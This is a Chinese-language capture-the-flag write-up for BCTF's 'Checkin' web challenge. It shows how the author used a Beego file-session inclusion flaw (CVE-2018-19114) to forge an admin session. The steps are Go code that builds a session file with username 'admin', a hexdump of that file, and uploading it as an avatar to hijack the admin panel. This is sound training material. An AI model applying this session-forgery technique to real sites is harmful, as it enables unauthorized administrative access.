Checkin WP
毫无疑问,BCTF是我打的第二场极其自闭的比赛
第一个签到题死活做不出来,完全没有思路。直到最后一小时阿霖告诉我有思路了,然后去搭了一波环境结果不行。。。
确实当时最后有点急,现在静下来慢慢写确实写出来了。
顺便:Web是真的坑,简直无底洞一样,临时去学了一波Beego。。。
好在比赛结束后一小时58分钟拿到了flag。。。好歹算是迟到
0x00 题目分析
进去一看是一个发帖的页面,可以直接查看帖子
信息收集发现时beego后端,百度、Google了一下CVE无果
存在登陆注册,简单测试无法注入
那我们就正常注册登录一个进去康康有哪些东西
存在用户名和UID提示
存在发帖界面,不过看到首页的帖子基本告诉我们不存在XSS或者SQL注入之类的,发一个test试下也没有可疑的地方
存在更换头像,可以上传图片,考虑到后端是静态服务器,不可能存在脚本后门上传之类的。上传之后会提示图片文件保存绝对路径,非常可疑,但是暂时没有想到可利用的点。
澜洲学长提示存在/info
界面,打开看只有一行字:the username in session is:adminadmin
比较可疑,但是没有想到利用点
/profile/:id/show
的RESTful URL中间id没有用,只要是数字都可以,应该是Session验证的,也不知道有什么用。
题目环境大致就在以上,下面分析过程。
0x01 详细题解
首先是有了阿霖的提示,/info
界面存在一个session的注入,然后给了一个CVE:CVE-2018-19114
这个CVE是一个在线文档系统的漏洞,提交在GitHub Issue上
同时,还有一个漏洞的相关文章
这两篇文章提供了思路:session文件包含
这样一想,图片上传,用户界面给出的username
和UID
这条思路就串起来了
先尝试一下包含一个错误的文件
直接503报错了,证明了漏洞存在。下面就是如何构造这个session了
先是go环境搭建,这个不多说了
docker run -it -d -p 7777:8080 --name=go golang
然后下载官方beego包,安装session模块
echo 'export GOPATH="$HOME/go"' >> ~/.profile
exec $SHELL
go get -u github.com/astaxie/beego
go get github.com/astaxie/beego/session
配置项目环境
mkdir /go/src/hello && cd /go/src/hello
mkdir conf
写入项目覆盖配置文件
vim /go/src/hello/conf/app.conf
SessionOn=true
SessionProvider=file
SessionName="gosessionid"
SessionSavePath="/tmp"
上面的SessionSavePath规定保存在/tmp
目录下,但是似乎没有用,有点迷,可能我写的不对?这个不影响后面的步骤
写入项目文件。。这个玩意我摸索了一会,简单写了下
vim /go/src/hello/hello.go
package main
import (
"github.com/astaxie/beego"
"github.com/astaxie/beego/session"
)
var globalSessions *session.Manager
type MainController struct {
beego.Controller
}
func (this *MainController) Get() {
this.SetSession("username","admin"); //username字段是被告知的,admin是猜的。。
this.SetSession("UID",1); // UID同上,1也是猜的,字符串还是整型也是猜的。。多试几下就行了
this.Ctx.WriteString("hello world")
}
func init() {
sessionConfig := &session.ManagerConfig{
CookieName:"gosessionid",
EnableSetCookie: true,
Gclifetime:3600,
Maxlifetime: 3600,
Secure: false,
CookieLifeTime: 3600,
ProviderConfig: "./tmp",
}
globalSessions, _ = session.NewManager("file",sessionConfig)
go globalSessions.GC()
}
func main() {
beego.BConfig.WebConfig.Session.SessionOn = true
beego.Router("/", &MainController{})
beego.Run()
}
糊完了这个玩意,我们来编译一下
go build -o hello hello.go # 这不就是gcc风格么。。
然后直接运行吧
./hello
运行好了,我们来访问一下这个服务,来康康cookie和session文件
docker cp go:/go/src/hello/1/e/1e725d54a66652354eaa3c3780c57c45 ./ # 注意文件路径,session前两位各成一个文件夹
hexdump -C ./1e725d54a66652354eaa3c3780c57c45
00000000 0e ff 81 04 01 02 ff 82 00 01 10 01 10 00 00 3d |...............=|
00000010 ff 82 00 02 06 73 74 72 69 6e 67 0c 0a 00 08 75 |.....string....u|
00000020 73 65 72 6e 61 6d 65 06 73 74 72 69 6e 67 0c 07 |sername.string..|
00000030 00 05 61 64 6d 69 6e 06 73 74 72 69 6e 67 0c 05 |..admin.string..|
00000040 00 03 55 49 44 03 69 6e 74 04 02 00 02 |..UID.int....|
0000004d
然后丢到Hex Fiend里面,保存成图片,上传上去,拿到路径
根据路径构造payload,先用/info
来测试一下
可以看到,session已经被成功文件包含,username显示的是admin
这样,我们去带着这个Cookie去请求用户详情康康
果然admin用户要多一个管理面板。我们点进去康康,结果flag就出来了
0x02 总结
这种签到题简直太硬核了。现场学习go语言令人自闭。
确实一开始思路很难找,但是CVE搜到似乎就变成了比较简单的事了。。。
哎主要还是太菜了。。狗命要紧,先睡觉了。
想问一下师傅那个session文件的位置是如何获得的
/go/src/hello/1/e/1e725d54a66652354eaa3c3780c57c4
过于久远,我已经忘了(
首先
/go/src
这个路径是 docker 官方镜像的 go 工作目录,也就是$GOPATH
;hello
是 beego 的项目目录;至于后面一串,就是 session 的存储目录,是项目配置里面设置的(当然我的 demo 配挂了 xD至于后面的目录结构,就是
session[0]/session[1]/session
这种格式